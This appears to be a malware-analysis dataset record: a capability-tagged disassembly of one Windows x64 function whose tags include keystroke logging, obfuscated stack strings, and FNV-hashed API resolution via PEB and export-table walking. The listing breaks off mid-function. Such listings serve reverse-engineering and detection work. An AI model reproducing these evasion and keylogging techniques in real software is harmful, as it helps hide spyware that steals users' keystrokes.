Function at 0x1400bb750
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Log keystrokes via polling
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x830]
sub rsp, 0x930
movzx edx, byte [rsp + 0x38]
xor eax, eax
mov dword [rbp - 0x43], eax
movabs rsi, 0xc815f1d895c2389d
mov word [rbp - 0x3f], ax
movabs r12, 0x6b0d3c4744157069
mov byte [rbp - 0x3d], al
movabs r14, 0x202fbab1f7a40903
mov dword [rbp - 0x50], 0x415a4e43
movabs r15, 0x4a1542236f792831
mov dword [rbp - 0x4c], 0x617d4549
movabs r13, 0x73fac994e74e475f
mov dword [rbp - 0x48], 0x3f38317c
mov byte [rbp - 0x44], 0xaa
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402ed240]
mov r9, qword [0x1402ed238]
nop
xor r10d, r10d
cmp r10, 0x14
jae 0x1400bc458
movzx edi, byte [rbp + r10 - 0x50]
mov ebx, edi
nop word [rax + rax]
mov r11, rbx
cmp r8, r10
ja 0x1400bc44f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bb83e
lea rcx, [r10 + r12]
mov rax, rbx
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rbx
add rdx, rcx
add dl, 0x21
jmp 0x1400bb870
je 0x1400bc3d1
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bc398
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bc354
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400bc32b
nop dword [rax + rax]
cmp r9, r10
ja 0x1400bc446
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x1400bb898
lea rcx, [r10 + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rdi + rcx]
sub dl, 0x4b
jmp 0x1400bb8d0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bc2e0
inc rax
cmp r8, rax
je 0x1400bc2b7
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bc295
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bc273
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, r10
jbe 0x1400bbebe
nop dword [rax]
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400bbe98
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400bbe6b
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400bbe44
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400bbe23
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400bbdff
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bbddb
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400bbdba
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bbd97
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400bbd64
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400bb8e0
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400bc424
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400bc401
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400bbacb
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400bbab0
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400bba97
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400bbd08
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400bbcb0
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400bbc61
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400bbc38
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400bb8e0
lea r8, [r9 + 8]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400bbc08
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400bbbe7
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400bbbc3
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400bbb9f
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400bbb7e
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400bbb5d
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400bbb33
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400bbb06
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400bbae5
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400bb8e0
lea r8, [r9 + 5]
lea r9, [r8 + 8]
jmp 0x1400bb8e0
lea rcx, [r10 + r14]
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea edx, [rdi + rcx]
sub dl, 0x15
jmp 0x1400bb8d0
lea rdx, [r10 + r15]
movzx eax, r11b
and al, dl
movzx ecx, bl
add al, al
sub dl, 0x57
sub cl, al
add dl, cl
jmp 0x1400bb870
lea rcx, [r10 + r13]
movzx edx, bl
and r11b, cl
add r11b, r11b
sub dl, r11b
add dl, 0x67
add dl, cl
jmp 0x1400bb810
movabs rax, 0x40af8ec4ae11c4e8
add rax, r10
and r11b, al
add r11b, r11b
sub al, r11b
lea edx, [rdi + rax]
sub dl, 0x58
jmp 0x1400bc2fd
mov eax, 0x33
movabs rcx, 0x6a95163625e6e416
add rcx, r10
inc r9
and r11b, cl
dec r10
sub al, r11b
lea edx, [rax + rax]
add dl, cl
add dl, bl
inc r10
jmp 0x1400bb7f3
mov eax, 0x12
movabs rcx, 0x947a9da79dbc0344
add rcx, r10
dec r10
and r11b, cl
sub al, r11b
lea edx, [rax + rax]
add dl, cl
add dl, bl
inc r10
jmp 0x1400bb7f3
movabs rcx, 0xbe60251915912272
movzx edx, bl
add rcx, r10
and r11b, cl
add r11b, r11b
sub dl, r11b
sub dl, 0x1e
jmp 0x1400bc372
movabs rax, 0xe845ac8a8d6641a0
add rax, r10
and r11b, al
add r11b, r11b
sub al, r11b
lea edx, [rdi + rax]
sub dl, 0x60
jmp 0x1400bc3b6
mov eax, 0x2f
movabs rcx, 0x122b33fc053b60ce
add rcx, r10
and r11b, cl
sub al, r11b
lea edx, [rax + rax]
add dl, cl
add dl, bl
jmp 0x1400bc3b9
mov eax, 0xe
movabs rcx, 0x3c10bb6d7d107ffc
add rcx, r10
and r11b, cl
sub al, r11b
lea edx, [rax + rax]
add dl, cl
add dl, bl
jmp 0x1400bc203
movabs rax, 0x65f642def4e59f2a
add rax, r10
and r11b, al
add r11b, r11b
sub al, r11b
lea edx, [rdi + rax]
sub dl, 0x26
jmp 0x1400bc22f
movabs rax, 0x8fdbca506cbabe58
add rax, r10
and r11b, al
add r11b, r11b
sub bl, r11b
lea edx, [rax + rbx]
movzx eax, byte [rbp + r10 - 0x50]
add rax, r9
sub dl, 0x68
add r10, rax
inc r10
jmp 0x1400bb7f3
movabs rax, 0x78999cec184f8c4b
add rax, r10
and r11b, al
add r11b, r11b
sub bl, r11b
lea edx, [rax + rbx]
sub dl, 0xd
mov byte [rbp + r10 - 0x50], dl
inc r10
jmp 0x1400bb7f3
movabs rax, 0xa27f245d9024ab79
add rax, r10
and r11b, al
add r11b, r11b
sub bl, r11b
lea edx, [rax + rbx]
sub dl, 0x4f
cmp r9, 6
jb 0x1400bbc54
mov ecx, 0x13
movabs rdx, 0xa7460465208ac9d6
add rdx, r10
movzx eax, dil
and al, dl
movzx ebx, dil
sub cl, al
add cl, cl
add cl, dil
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400bc2fd
movabs rax, 0xcc64abcf07f9caa7
add rax, r10
and r11b, al
add r11b, r11b
sub bl, r11b
lea edx, [rax + rbx]
add dl, 0x6f
cmp r8, 9
jae 0x1400bc1a9
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400bc072
movabs rdx, 0x4a3d4ed3cede01a2
movzx eax, dil
add rdx, r10
movzx ecx, dil
and al, dl
sub dl, 0x6e
add al, al
sub cl, al
add dl, cl
jmp 0x1400bbc7d
movabs rax, 0xf64a33407fcee9d5
add rax, r10
and r11b, al
add r11b, r11b
sub bl, r11b
lea edx, [rax + rbx]
add dl, 0x2d
lea rax, [r8 + r9]
cmp rax, 0x10
je 0x1400bc1d6
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1400bbfb2
movabs rdx, 0x82275cfb391bc905
movzx eax, dil
add rdx, r10
movzx ecx, dil
and al, dl
sub dl, 0x23
add al, al
sub cl, al
add dl, cl
jmp 0x1400bbccc
mov eax, 0x1f
movabs rcx, 0xb083ab13828d53ae
add rcx, r10
and r11b, cl
sub al, r11b
lea edx, [rax + rax]
movzx eax, byte [rbp + r10 - 0x50]
add rax, r9
add dl, bl
add r10, rax
add dl, cl
inc r10
jmp 0x1400bb7f3
movabs rcx, 0xda693284fa6272dc
movzx edx, bl
add rcx, r10
and r11b, cl
add r11b, r11b
sub dl, r11b
sub dl, 4
add dl, cl
jmp 0x1400bc22f
movabs rax, 0x44eb9f67237920a
add rax, r10
and r11b, al
add r11b, r11b
sub al, r11b
lea edx, [rdi + rax]
sub dl, 0x46
jmp 0x1400bc203
mov eax, 0x3c
movabs rcx, 0x2e344167ea0cb138
add rcx, r10
and r11b, cl
sub al, r11b
lea edx, [rax + rax]
add dl, bl
add dl, cl
jmp 0x1400bc3b9
mov eax, 0x1b
movabs rcx, 0x5819c8d961e1d066
add rcx, r10
and r11b, cl
sub al, r11b
lea edx, [rax + rax]
add dl, bl
add dl, cl
jmp 0x1400bc3b6
movabs rcx, 0x81ff504ad9b6ef94
movzx edx, bl
add rcx, r10
and r11b, cl
add r11b, r11b
sub dl, r11b
sub dl, 0xc
jmp 0x1400bc372
movabs rax, 0xabe4d7bc518c0ec2
add rax, r10
dec r10
and r11b, al
add r11b, r11b
sub al, r11b
lea edx, [rdi + rax]
sub dl, 0x4e
inc r10
jmp 0x1400bb7f3
mov eax, 0x38
movabs rcx, 0xd5ca5f2dc9612df0
add rcx, r10
inc r9
and r11b, cl
dec r10
sub al, r11b
lea edx, [rax + rax]
add dl, bl
add dl, cl
inc r10
jmp 0x1400bb7f3
movabs rdx, 0xffafe69f41364d1e
movzx eax, dil
add rdx, r10
mov ecx, 0x17
and al, dl
sub cl, al
add cl, cl
add cl, dil
add dl, cl
jmp 0x1400bc2fd
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x1400bbee3
lea rdx, [r10 + r12]
movzx eax, dil
and al, dl
movzx ecx, dil
add al, al
add dl, 0x21
sub cl, al
add dl, cl
jmp 0x1400bbd24
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bbf21
movzx eax, dil
movabs rdx, 0x902be3b12b84713a
add rdx, r10
mov ecx, 0x35
and al, dl
sub cl, al
movzx eax, byte [rbp + r10 - 0x50]
add cl, cl
add rax, r9
add cl, dil
add r10, rax
add dl, cl
inc r10
jmp 0x1400bb7f3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bbf50
movabs rdx, 0xe895c5eb4c2ff482
movzx eax, dil
add rdx, r10
mov ecx, 0x39
and al, dl
sub cl, al
add cl, cl
add cl, dil
add dl, cl
jmp 0x1400bc3b6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bbf7c
movabs rdx, 0xbeb03e79d45ad554
movzx eax, dil
add rdx, r10
movzx ecx, dil
and al, dl
add al, al
sub cl, al
sub dl, 0x4c
jmp 0x1400bc372
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bbd24
movzx eax, dil
movabs rcx, 0x94cab7085c85b626
add rcx, r10
dec r10
and al, cl
add al, al
sub dil, al
lea edx, [rcx + rdi]
sub dl, 0xa
inc r10
jmp 0x1400bb7f3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bbfe1
movabs rcx, 0x5841d589c146a9d7
movzx eax, dil
add rcx, r10
movzx ebx, dil
and al, cl
add al, al
sub cl, al
lea edx, [rdi + rcx]
add dl, 0x1f
jmp 0x1400bc2fd
inc rax
cmp r8, rax
jne 0x1400bc012
movzx eax, dil
movabs rcx, 0x476c6a6d19c6b7b
add rcx, r10
dec r10
and al, cl
add al, al
sub dil, al
lea edx, [rcx + rdi]
sub dl, 0x5d
inc r10
jmp 0x1400bb7f3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bc042
movabs rdx, 0xda913f3559c74c4d
movzx eax, dil
add rdx, r10
movzx ecx, dil
and al, dl
movzx ebx, dil
add al, al
sub cl, al
sub dl, 0x1b
jmp 0x1400bc372
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bbccc
movzx eax, dil
movabs rcx, 0x86c630526a1d0df1
add rcx, r10
and al, cl
add al, al
sub dil, al
lea edx, [rcx + rdi]
add dl, 0x69
jmp 0x1400bc3b9
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400bc0ad
movzx eax, dil
movabs rcx, 0x2057c7625708e274
add rcx, r10
and al, cl
add al, al
sub dil, al
movzx eax, byte [rbp + r10 - 0x50]
add rax, r9
add r10, rax
lea edx, [rcx + rdi]
sub dl, 0x2c
inc r10
jmp 0x1400bb7f3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bc0d9
movzx eax, dil
movabs rcx, 0x78c1a99c77b465bc
add rcx, r10
and al, cl
add al, al
sub dil, al
lea edx, [rcx + rdi]
sub dl, 0x24
jmp 0x1400bc3b6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bc10c
movabs rdx, 0x4edc222affdf468e
movzx eax, dil
add rdx, r10
mov ecx, 0xf
and al, dl
movzx ebx, dil
sub cl, al
add cl, cl
add dl, cl
add dl, dil
jmp 0x1400bc374
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400bc141
movabs rdx, 0x24f69ab9880a2760
movzx eax, dil
add rdx, r10
mov ecx, 0x30
and al, dl
dec r10
sub cl, al
add cl, cl
add cl, dil
add dl, cl
inc r10
jmp 0x1400bb7f3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bc176
movzx eax, dil
movabs rcx, 0xfb11134810350832
add rcx, r10
inc r9
and al, cl
dec r10
add al, al
sub dil, al
lea edx, [rcx + rdi]
sub dl, 0x5e
inc r10
jmp 0x1400bb7f3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bbc7d
movabs rcx, 0xd12b8bd6985fe904
movzx eax, dil
add rcx, r10
movzx ebx, dil
and al, cl
add al, al
sub cl, al
lea edx, [rdi + rcx]
sub dl, 0x1c
jmp 0x1400bc2fd
movabs rdx, 0x7d607cf3a8b5aaa8
movzx eax, dil
add rdx, r10
mov ecx, 0x34
and al, dl
movzx ebx, dil
sub cl, al
add cl, cl
add cl, byte [rbp + r10 - 0x50]
add cl, dil
jmp 0x1400bc372
movzx eax, dil
movabs rdx, 0x537af58230e08b7a
add rdx, r10
movzx ebx, dil
and al, dl
sub dl, 0x56
movzx eax, al
imul ecx, eax, 0xfe
sub cl, byte [rbp + r10 - 0x50]
add dl, cl
add dl, dil
inc r9
movabs rcx, 0xbe8831c974f5fbe3
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x35
add cl, bl
movzx eax, cl
mov byte [rbp + r10 - 0x50], al
add rax, r9
sub r10, rax
inc r8
movabs rcx, 0x29956e10b90b6c4c
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x14
add cl, bl
mov byte [rbp + r10 - 0x50], cl
add r10, rax
movzx eax, byte [rbp + r10 - 0x50]
add rax, r9
add r10, rax
inc r10
jmp 0x1400bb7f3
movzx eax, dil
movabs rcx, 0xf69a4ca13e989cb7
add rcx, r10
and al, cl
add al, al
sub dil, al
lea edx, [rcx + rdi]
dec dl
jmp 0x1400bc3b6
movabs rcx, 0x207fd412b66dbbe5
movzx eax, dil
add rcx, r10
and al, cl
add al, al
sub cl, al
lea edx, [rdi + rcx]
sub dl, 0x43
jmp 0x1400bc374
movzx eax, dil
movabs rcx, 0x4a655b842e42db13
add rcx, r10
dec r10
and al, cl
add al, al
sub dil, al
lea edx, [rcx + rdi]
add dl, 0x7b
inc r10
jmp 0x1400bb7f3
movabs rcx, 0x9e306a671ded196f
movzx eax, dil
add rcx, r10
and al, cl
add al, al
sub cl, al
lea edx, [rdi + rcx]
sub dl, 9
movabs rcx, 0x125340ac64a03a3f
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x47
add cl, bl
mov byte [rbp + r10 - 0x50], cl
inc r9
dec r10
inc r10
jmp 0x1400bb7f3
movzx eax, dil
movabs rcx, 0x45c6882cfd419627
add rcx, r10
and al, cl
add al, al
sub dil, al
lea edx, [rcx + rdi]
sub dl, 0x11
dec r10
inc r10
jmp 0x1400bb7f3
movabs rdx, 0x6fac0f9e7516b555
movzx eax, dil
add rdx, r10
movzx ecx, dil
and al, dl
add al, al
sub cl, al
sub dl, 0x53
add dl, cl
movabs rcx, 0xe86db93aeccb1b11
add rcx, r10
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x77
add cl, bl
add cl, dl
mov byte [rbp + r10 - 0x50], cl
jmp 0x1400bc3b6
movzx eax, dil
movabs rcx, 0x9991970fecebd483
add rcx, r10
and al, cl
add al, al
sub dil, al
lea edx, [rcx + rdi]
add dl, 0x6b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400bb7f3
movabs rax, 0x4127b4d5cc40513b
add rax, r10
and r11b, al
add r11b, r11b
sub al, r11b
lea edx, [rdi + rax]
add dl, 0x63
movzx eax, byte [rbp + r10 - 0x50]
add rax, r9
add r10, rax
inc r10
jmp 0x1400bb7f3
movzx eax, dil
movabs rcx, 0x9de051065f23668d
add rcx, r10
and al, cl
add al, al
sub dil, al
lea edx, [rcx + rdi]
add dl, 0x25
jmp 0x1400bb7f0
movabs rcx, 0xc7c5d877d6f885bb
add rcx, r10
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea edx, [rdi + rcx]
sub dl, 0x1d
jmp 0x1400bb7e0
lea rdi, [rbp + 0x167863c]
jmp 0x1400bc45c
lea rdi, [rbp + 0xfcf6a5]
jmp 0x1400bc45c
lea rdi, [rbp - 0x50]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400bc4e5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400bc4e5
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0x212049cf
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400bc4e0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400bc4c0
cmp edx, 0x62c8bed1
je 0x1400bc4ea
test r9d, r9d
jne 0x1400bc4a0
mov rax, qword [rax]
jmp 0x1400bc470
mov edx, dword [r11 + 0x24]
mov rcx, rdi
mov r8d, dword [r11 + 0x1c]
add rdx, r10
add r8, r10
movzx edx, word [rdx + r9*2]
mov eax, dword [r8 + rdx*4]
add rax, r10
call rax
movzx r10d, byte [rsp + 0x38]
xor eax, eax
mov qword [rbp - 0x25], rax
movabs rsi, 0xcee532e35e4654d0
mov dword [rbp - 0x1d], eax
movabs r12, 0x46cdf63b96c66590
mov word [rbp - 0x19], ax
movabs r14, 0x71d4b25addb92530
mov byte [rbp - 0x17], al
movabs r15, 0xe438c5e3b02c5a10
mov dword [rbp - 0x30], 0xd1a7d2d5
movabs r13, 0x569cd96c829f8ef0
mov dword [rbp - 0x2c], 0xc388b7b7
mov word [rbp - 0x28], 0xc5c4
mov byte [rbp - 0x26], 0x6a
nop dword [rax]
mov r8, qword [0x1402ed240]
mov r9, qword [0x1402ed238]
nop
xor edi, edi
cmp rdi, 0x1a
jae 0x1400bd2d2
movzx r11d, byte [rbp + rdi - 0x30]
mov rbx, r11
cmp r8, rdi
ja 0x1400bd2c9
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bc5c1
lea rcx, [rdi + r12]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
add r10b, 0x10
jmp 0x1400bc600
je 0x1400bd238
inc rax
cmp r8, rax
je 0x1400bd1a1
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bd142
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bd118
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400bd0c1
nop word [rax + rax]
cmp r9, rdi
ja 0x1400bd2c0
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400bc62f
lea rdx, [rdi + rsi]
mov ecx, 0x28
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bc680
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bd0b0
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bd086
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bd077
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bd053
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400bd02a
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400bcff3
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400bcc86
nop dword [rax]
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400bcc62
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400bcc41
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400bcc12
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400bcc03
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400bcbda
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400bcbb6
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400bcb91
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bcb69
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400bcb37
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400bc690
lea r8, [r9 + 5]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400bd297
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400bd26e
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400bc877
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400bc85c
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400bc841
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400bcad9
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400bca86
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400bca35
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400bca04
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400bc690
lea r8, [r9 + 8]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400bc9d2
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400bc9aa
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400bc985
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400bc961
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400bc949
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400bc920
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400bc8f1
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400bc8bf
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400bc897
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400bc690
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x7a]
jmp 0x1400bc690
lea rcx, [rdi + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
jmp 0x1400bc680
lea rcx, [rdi + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
jmp 0x1400bc600
lea rdx, [rdi + r13]
mov ecx, 0x38
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bc592
movabs rdx, 0x7729971af232a680
movzx r10d, r11b
add rdx, rdi
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
add r10b, 0x80
add r10b, dl
jmp 0x1400bd0e5
mov ecx, 0x30
movabs rdx, 0xe98daaa3c4a5db60
add rdx, rdi
inc r9
movzx eax, dl
dec rdi
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400bc582
mov ecx, 0x20
movabs rdx, 0x5bf1be2c97191040
add rdx, rdi
dec rdi
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400bc582
mov ecx, 0x10
movabs rdx, 0xce55d1b5698c4520
add rdx, rdi
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400bd161
movzx ecx, dil
movzx r10d, dil
and cl, r11b
add cl, cl
sub r10b, cl
add r10b, r11b
jmp 0x1400bd185
movabs rcx, 0xb31df8c70e72aee0
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x1400bd188
movabs rdx, 0x25820c4fe0e5e3c0
movzx r10d, r11b
add rdx, rdi
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x40
jmp 0x1400bd1c4
movabs rdx, 0x97e61fd8b35918a0
movzx r10d, r11b
add rdx, rdi
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x60
add r10b, dl
jmp 0x1400bd1f4
movabs rcx, 0xa4a336185cc4d80
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x30]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
add r10b, 0x80
inc rdi
jmp 0x1400bc582
mov ecx, 0x18
movabs rdx, 0xa844643793ec51b0
add rdx, rdi
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
mov byte [rbp + rdi - 0x30], r10b
inc rdi
jmp 0x1400bc582
movabs rdx, 0x1aa877c0665f8690
mov ecx, 8
add rdx, rdi
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 8
jb 0x1400bca28
movabs rcx, 0x36101bbe130c7760
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x40]
jmp 0x1400bd0e5
movabs rcx, 0x8d0c8b4938d2bb70
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
cmp r8, 0x42
jae 0x1400bcf9e
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x1400bcebc
movabs rdx, 0xadf8df164b8c8820
mov ecx, 0x10
add rdx, rdi
movzx eax, dl
and al, r11b
jmp 0x1400bca4d
movabs rcx, 0xff709ed20b45f050
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x1400bcfcb
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400bcd87
movabs rcx, 0xdf13ac32ed463350
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
jmp 0x1400bcaa5
movabs rcx, 0xd95f315435a5fce0
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x30]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
sub r10b, 0x20
inc rdi
jmp 0x1400bc582
movabs rdx, 0x4bc344dd081931c0
movzx r10d, r11b
add rdx, rdi
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x40
add r10b, dl
jmp 0x1400bd1f4
movabs rdx, 0xbe275865da8c66a0
movzx r10d, r11b
add rdx, rdi
movzx eax, dl
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x60
jmp 0x1400bd1c4
movabs rcx, 0x308b6beeacff9b80
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x1400bd188
mov ecx, 0x30
movabs rdx, 0xa2ef7f777f72d060
add rdx, rdi
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bd185
movabs rdx, 0x1553930051e60540
jmp 0x1400bcd2c
mov ecx, 0x10
movabs rdx, 0x87b7a68924593a20
add rdx, rdi
dec rdi
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400bc582
movzx ecx, dil
movzx r10d, dil
and cl, r11b
inc r9
add cl, cl
dec rdi
sub r10b, cl
add r10b, r11b
inc rdi
